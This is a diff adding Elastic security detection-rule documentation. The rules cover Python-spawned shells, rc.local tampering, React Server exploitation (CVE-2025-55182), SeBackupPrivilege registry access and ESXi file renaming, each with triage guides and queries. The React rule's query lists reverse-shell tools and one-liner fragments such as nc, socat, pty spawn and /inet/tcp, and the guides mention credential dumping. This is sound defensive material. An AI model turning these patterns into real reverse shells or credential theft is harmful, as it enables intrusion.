ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-python-shell-command-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-python-shell-command-execution.asciidoc new file mode 100644 index 0000000000..01a5df2d4c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-python-shell-command-execution.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-20-suspicious-python-shell-command-execution]] +=== Suspicious Python Shell Command Execution + +Detects the execution of suspicious shell commands via the Python interpreter. Attackers may use Python to execute shell commands to gain access to the system or to perform other malicious activities, such as credential access, data exfiltration, or lateral movement. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Python Shell Command Execution* + + +This rule flags Linux or macOS activity where Python rapidly launches multiple shell commands through sh/bash-style interpreters, a strong sign that a script is driving hands-on execution rather than normal application behavior. An attacker might use a Python backdoor to run `sh -c` commands such as `whoami`, `uname`, `env`, `find`, and `curl` in quick succession to profile the host, locate data, and pull down follow-on tools. + + +*Possible investigation steps* + + +- Reconstruct the full process tree around the Python parent to identify the originating script or module, execution path, user context, and whether it was launched by an interactive session, scheduled task, service, container runtime, or approved automation. +- Review the Python code or script content that spawned the shells, along with recent file creation or modification and package installation activity, to determine whether it is legitimate application logic or an unexpected payload introduced in temporary, user, or application directories. +- Compare the clustered shell commands with any immediate follow-on behavior such as outbound network connections, tool downloads, archive creation, credential store access, or additional interpreter launches to assess whether the activity moved from discovery into payload delivery or exfiltration. +- Pivot on the same host and Python execution lineage for prior and subsequent events to uncover persistence or lateral movement indicators, including cron or systemd changes, launchd modifications, SSH activity, or repeated execution patterns across other endpoints. +- Validate with the asset or application owner whether the behavior matches known deployment, build, or administrative workflows, and if it does not, isolate the host and collect memory, script artifacts, and shell history for deeper analysis. + + +*False positive analysis* + + +- A legitimate Python administration or deployment script may call `sh -c` to run discovery and download commands such as `whoami`, `uname`, `env`, `find`, or `curl` during host setup; verify the parent Python script path, user, and working directory match an approved maintenance job and that the command set is expected for that script. +- A Python application on Linux or macOS may spawn shell wrappers during startup, diagnostics, or update checks and generate several distinct commands within a minute; confirm the Python executable and child shell activity originate from the expected application directory and correlate with a recent authorized install, upgrade, or troubleshooting session. + + +*Response and remediation* + + +- Isolate the affected Linux or macOS host from the network, terminate the malicious Python process and any spawned `sh -c` or `bash -c` children, and block any external IPs, domains, or download URLs the script contacted. +- Preserve and quarantine the Python script, shell history, downloaded payloads, and files created in temporary, user, or application directories, then remove attacker persistence such as cron jobs, systemd service or timer units, launchd plists, login scripts, and unauthorized `authorized_keys` entries. +- Restore the system to a known-good state by removing attacker-created files only after collection, reinstalling or repairing modified packages and startup items, and reimaging the host if system binaries, security tools, or core configuration files were altered. +- Rotate credentials and secrets exposed on the host, including local accounts, SSH keys, API tokens, and application or cloud credentials, especially if the shell activity included `env`, keychain access, history review, or reads from credential files. +- Escalate to incident response immediately if the Python-launched shells used `curl` or `wget` to fetch payloads, established outbound sessions to untrusted infrastructure, touched multiple endpoints, or showed evidence of credential theft, persistence, or data collection. +- Harden the environment by restricting Python and shell execution from temporary or user-writable paths, limiting which users and services can invoke shell interpreters, tightening egress controls, and adding detections for Python spawning shell commands, new cron or launchd items, and unauthorized SSH key changes. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-endpoint.events.process-* METADATA _id, _version, _index + +| WHERE host.os.type in ("linux", "macos") and event.type == "start" and TO_LOWER(process.parent.name) like "python*" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox") and + KQL("""event.action:"exec" and process.args:("-c" or "-cl" or "-lc")""") + +// truncate timestamp to 1-minute window +| EVAL Esql.time_window_date_trunc = DATE_TRUNC(1 minutes, @timestamp) + +| EVAL Esql.process_command_line_patterns = CASE( + process.command_line like "*grep*", "grep", + process.command_line like "*find*", "find", + process.command_line like "*curl*", "curl", + process.command_line like "*env *", "environment_enumeration", + process.command_line like "*wget*", "wget", + process.command_line like "*whoami*" or process.command_line like "*uname*" or process.command_line like "*hostname*", "discovery", "other" +) + +| KEEP + @timestamp, + _id, + _index, + _version, + Esql.process_command_line_patterns, + Esql.time_window_date_trunc, + host.os.type, + event.type, + event.action, + process.parent.name, + process.working_directory, + process.parent.working_directory, + process.name, + process.executable, + process.command_line, + process.parent.executable, + process.parent.entity_id, + agent.id, + host.name, + event.dataset, + data_stream.namespace + +| STATS + Esql.process_command_line_count_distinct = COUNT_DISTINCT(process.command_line), + Esql.patterns_count_distinct = COUNT_DISTINCT(Esql.process_command_line_patterns), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.event_dataset_values = values(event.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + BY process.parent.entity_id, agent.id, host.name, Esql.time_window_date_trunc + +| SORT Esql.process_command_line_count_distinct DESC +| WHERE Esql.process_command_line_count_distinct >= 5 AND Esql.patterns_count_distinct >= 4 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-rc-local-error-message.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-rc-local-error-message.asciidoc new file mode 100644 index 0000000000..b9600c1051 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-rc-local-error-message.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-20-suspicious-rc-local-error-message]] +=== Suspicious rc.local Error Message + +This rule monitors the syslog log file for error messages related to the rc.local process. The rc.local file is a script that is executed during the boot process on Linux systems. Attackers may attempt to modify the rc.local file to execute malicious commands or scripts during system startup. This rule detects error messages such as "Connection refused," "No such file or directory," or "command not found" in the syslog log file, which may indicate that the rc.local file has been tampered with. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/malware-analysis/hiddenwasp-malware-targeting-linux-systems/ +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#8-boot-or-logon-initialization-scripts-rc-scripts +* https://www.cyberciti.biz/faq/how-to-enable-rc-local-shell-script-on-systemd-while-booting-linux-system/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious rc.local Error Message* + + +The rc.local script is crucial in Linux systems, executing commands at boot. Adversaries may exploit this by inserting malicious scripts to gain persistence. The detection rule monitors syslog for specific error messages linked to rc.local, such as "Connection refused," indicating potential tampering. This proactive monitoring helps identify unauthorized modifications, mitigating persistent threats. + + +*Possible investigation steps* + + +- Review the syslog entries for the specific error messages "Connection refused," "No such file or directory," or "command not found" associated with the rc.local process to understand the context and frequency of these errors. +- Check the rc.local file for any recent modifications or unusual entries that could indicate tampering or unauthorized changes. +- Investigate the source of the error messages by identifying any related processes or network connections that might have triggered the "Connection refused" error. +- Examine the system's boot logs and startup scripts to identify any anomalies or unauthorized scripts that may have been introduced. +- Cross-reference the timestamps of the error messages with other system logs to identify any correlated suspicious activities or changes in the system. + + +*False positive analysis* + + +- Legitimate software updates or installations may modify the rc.local file, triggering error messages. Users can create exceptions for known update processes by identifying the specific software and excluding its related syslog entries. +- Custom scripts or administrative tasks that intentionally modify rc.local for legitimate purposes might cause false alerts. Document these scripts and add them to an exclusion list to prevent unnecessary alerts. +- Network configuration changes can lead to temporary "Connection refused" errors. If these changes are expected, users should temporarily adjust the monitoring rule to ignore these specific messages during the maintenance window. +- System misconfigurations or missing dependencies might result in "No such file or directory" or "command not found" errors. Regularly audit system configurations and ensure all necessary files and commands are correctly installed to minimize these false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or spread of potential malware. +- Review the rc.local file for unauthorized modifications and restore it from a known good backup if tampering is confirmed. +- Conduct a thorough scan of the system using updated antivirus and anti-malware tools to identify and remove any malicious scripts or software. +- Check for additional persistence mechanisms by reviewing other boot or logon initialization scripts and scheduled tasks. +- Escalate the incident to the security operations team for further investigation and to determine if other systems are affected. +- Implement enhanced monitoring on the affected system and similar systems to detect any future unauthorized changes to boot scripts. +- Review and update access controls and permissions to ensure that only authorized personnel can modify critical system files like rc.local. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.dataset:system.syslog and process.name:rc.local and +message:("Connection refused" or "No such file or directory" or "command not found") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-react-server-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-react-server-child-process.asciidoc new file mode 100644 index 0000000000..381741bf3f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-react-server-child-process.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-20-suspicious-react-server-child-process]] +=== Suspicious React Server Child Process + +This rule detects suspicious child process activity from a React server application. This could be related to successful exploitation of CVE-2025-55182 or CVE-2025-66478. These vulnerabilities allow attackers to execute remote code due to insecure deserialization of React Server Components (RSC) Flight payloads, leading to unauthenticated RCE on servers running React 19.x or Next.js 14.3.0-canary+, 15.x, and 16.x with the App Router enabled + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious React Server Child Process* + + +This rule flags suspicious shell or system utility processes spawned by a React or Next.js server application—clear evidence of CVE-2025-55182 or CVE-2025-66478 exploitation enabling arbitrary code execution. An attacker sends a specially crafted RSC Flight protocol payload to a vulnerable Next.js or React Server Components endpoint, causing the server to deserialize untrusted data and execute attacker-controlled JavaScript, which then spawns shell commands or system utilities to establish initial access and persistence. + + +*Possible investigation steps* + + +- Extract the parent Node.js process command line and working directory to identify the React or Next.js application, then check package.json or package-lock.json for React version (19.0-19.2) and Next.js version (14.3.0-canary, 15.x, 16.x) to confirm vulnerability. +- Review web server access logs (Nginx, Apache, ALB) for suspicious POST requests to RSC endpoints (/_next/data/, /.next/, /api/) in the minutes before the shell spawn, focusing on requests with unusual Content-Type headers (text/x-component, application/rsc) or large payload sizes. +- Analyze the spawned child process command line, arguments, working directory, and any downloaded files or scripts to identify the payload type (reverse shell, data exfiltration, credential theft, persistence mechanism) and compute file hashes for threat intelligence correlation. +- Pivot on the source IP address from web logs across other hosts and applications to identify additional compromised servers, and check for lateral movement attempts or scanning activity from the compromised host to internal networks. +- Examine the host for post-exploitation artifacts including new cron jobs, modified .bashrc/.profile files, SSH authorized_keys additions, new user accounts, unusual network connections to external IPs, files in /tmp or /var/tmp directories, and container escape attempts (nsenter, docker socket access). + + +*False positive analysis* + + +- Legitimate build or deployment scripts triggered by CI/CD pipelines may cause Next.js build workers (jest-worker/processChild.js) to spawn shell commands; filter these by excluding processes with --node-ipc flags or running in /builds/, /workspace/, or other CI directories. +- Development servers (next dev, expo start, react-scripts start) running on developer workstations may spawn legitimate shells for tooling; consider excluding NODE_ENV=development or processes running from user home directories if appropriate for your environment. +- Server-side rendering (SSR) frameworks may legitimately invoke system utilities for image processing, PDF generation, or other server-side tasks; maintain an allowlist of expected child processes and their arguments for known applications. + + +*Response and remediation* + + +- Immediately isolate the affected host to prevent lateral movement, terminate the Node.js parent process and all child processes spawned from the React/Next.js server, and block the source IP address at the firewall and WAF level. +- Remove any persistence mechanisms installed by the attacker including cron jobs (check crontab -l for all users), modified shell initialization files (~/.bashrc, ~/.profile, /etc/profile.d/), SSH keys in ~/.ssh/authorized_keys, and systemd timers or service units. +- Rotate all credentials and secrets accessible to the compromised application including database passwords, API keys, cloud service credentials (AWS/Azure/GCP), and session tokens, assuming they may have been exfiltrated. +- Collect forensic artifacts including memory dumps of the Node.js process (if still running), packet captures of the malicious HTTP request, web server access and error logs, application logs from the React/Next.js server, and copies of any files created in /tmp, /var/tmp, or the application directory. +- Escalate to incident command if the attacker achieved container escape (nsenter usage detected), accessed sensitive data or credentials, established C2 communication to external infrastructure, or if multiple hosts show similar exploitation patterns from the same source. +- Patch immediately by upgrading React to version 19.0.1+, 19.1.2+, or 19.2.1+, and Next.js to versions 14.3.0-canary.88+, 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, or 16.0.7+ depending on your major version, and deploy WAF rules to block malformed RSC payloads at the application edge. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "executed", "start", "process_started") and ( + process.name in ( + "sh", "bash", "zsh", "dash", "curl", "wget", "id", "whoami", "uname", "cmd.exe", "cat", "powershell.exe", "java", "rundll32.exe", "wget.exe", "certutil.exe", + "nc", "ncat", "netcat", "nc.openbsd", "nc.traditional", "socat", "busybox", "mkfifo", "nohup", "setsid", "xterm" + ) or + (process.name : "python*" and process.args : "-c" and process.args : ( + "*import*pty*spawn*", "*import*subprocess*call*" + )) or + (process.name : "perl*" and process.args : "-e" and process.args : "*socket*" and process.args : ( + "*exec*", "*system*" + )) or + (process.name : "ruby*" and process.args : ("-e", "-rsocket") and process.args : ( + "*TCPSocket.new*", "*TCPSocket.open*" + )) or + (process.name : "lua*" and process.args : "-e" and process.args : "*socket.tcp*" and process.args : ( + "*io.popen*", "*os.execute*" + )) or + (process.name : "php*" and process.args : "-r" and process.args : "*fsockopen*" and process.args : "*/bin/*sh*") or + (process.name == "node" and process.args == "-e" and process.args : "*spawn*sh*" and process.args : "*connect*") or + (process.name : ("awk", "gawk", "mawk", "nawk") and process.args : "*/inet/tcp/*") or + (process.name in ("rvim", "vim", "vimdiff", "rview", "view") and process.args == "-c" and process.args : "*socket*") +) +and ( + ?process.working_directory : ( + "*react-dom*", "*.next*", "*node_modules/next*", "*react-server*", "*bin/next*", "*.pnpm/next*", "*next/dist/server*", "*react-scripts*") or + ( + process.parent.name in ("node", "bun", "node.exe", "bun.exe") and + process.parent.command_line : ( + "*react-dom*", "*.next*", "*node_modules/next*", "*react-server*", "*next-server*", "* server.js*", "*start-server.js*", "*bin/next*", + "*--experimental-https*", "*app/server*", "*.pnpm/next*", "*next start*", "*next dev*", "*react-scripts start*", "*next/dist/server*" + ) + ) +) and not ( + ?process.parent.executable in ("./runc", "/opt/google/chrome/chrome") or + process.command_line like "/bin/sh -c git config*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-remote-registry-access-via-sebackupprivilege.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-remote-registry-access-via-sebackupprivilege.asciidoc new file mode 100644 index 0000000000..f25acb7aec --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-remote-registry-access-via-sebackupprivilege.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-20-suspicious-remote-registry-access-via-sebackupprivilege]] +=== Suspicious Remote Registry Access via SeBackupPrivilege + +Identifies remote access to the registry using an account with Backup Operators group membership. This may indicate an attempt to exfiltrate credentials by dumping the Security Account Manager (SAM) registry hive in preparation for credential access and privileges elevation. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/mpgn/BackupOperatorToDA +* https://raw.githubusercontent.com/Wh04m1001/Random/main/BackupOperators.cpp +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Credential Access +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Remote Registry Access via SeBackupPrivilege* + + +SeBackupPrivilege is a privilege that allows file content retrieval, designed to enable users to create backup copies of the system. Since it is impossible to make a backup of something you cannot read, this privilege comes at the cost of providing the user with full read access to the file system. This privilege must bypass any access control list (ACL) placed in the system. + +This rule identifies remote access to the registry using an account with Backup Operators group membership. This may indicate an attempt to exfiltrate credentials by dumping the Security Account Manager (SAM) registry hive in preparation for credential access and privileges elevation. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the activities done by the subject user the login session. The field `winlog.event_data.SubjectLogonId` can be used to get this data. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate abnormal behaviors observed by the subject user such as network connections, registry or file modifications, and processes created. +- Investigate if the registry file was retrieved or exfiltrated. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Limit or disable the involved user account to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +The 'Audit Detailed File Share' audit policy is required be configured (Success) on Domain Controllers and Sensitive Windows Servers. +Steps to implement the logging policy with Advanced Audit Configuration: +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +Object Access > +Audit Detailed File Share (Success) +``` + +The 'Special Logon' audit policy must be configured (Success). +Steps to implement the logging policy with Advanced Audit Configuration: +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +Logon/Logoff > +Special Logon (Success) +``` + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name, winlog.event_data.SubjectLogonId with maxspan=1m + [iam where host.os.type == "windows" and event.action == "logged-in-special" and + winlog.event_data.PrivilegeList : "SeBackupPrivilege" and + + /* excluding accounts with existing privileged access */ + not winlog.event_data.PrivilegeList : "SeDebugPrivilege"] + [any where host.os.type == "windows" and event.code == "5145" and winlog.event_data.RelativeTargetName : "winreg"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: LSA Secrets +** ID: T1003.004 +** Reference URL: https://attack.mitre.org/techniques/T1003/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-renaming-of-esxi-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-renaming-of-esxi-files.asciidoc new file mode 100644 index 0000000000..af4f13e201 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-renaming-of-esxi-files.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-20-suspicious-renaming-of-esxi-files]] +=== Suspicious Renaming of ESXI Files + +Identifies instances where VMware-related files, such as those with extensions like ".vmdk", ".vmx", ".vmxf", ".vmsd", ".vmsn", ".vswp", ".vmss", ".nvram", and ".vmem", are renamed on a Linux system. The rule monitors for the "rename" event action associated with these file types, which could indicate malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Renaming of ESXI Files* + + +VMware ESXi files are critical for virtual machine operations, storing configurations and states. Adversaries may rename these files to evade detection or disrupt services, a tactic known as masquerading. The detection rule identifies renaming events of specific VMware file types on Linux systems, flagging potential malicious activity by monitoring deviations from expected file extensions. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file that was renamed, including its original and new name, to understand the nature of the change. +- Check the timestamp of the rename event to correlate it with other activities on the system, such as user logins or other file operations, to identify potential patterns or anomalies. +- Investigate the user account or process responsible for the rename action by examining system logs or user activity to determine if the action was authorized or suspicious. +- Analyze the system for any other recent rename events involving VMware-related files to assess if this is an isolated incident or part of a broader pattern. +- Examine the system for signs of compromise or unauthorized access, such as unexpected processes, network connections, or changes in system configurations, to 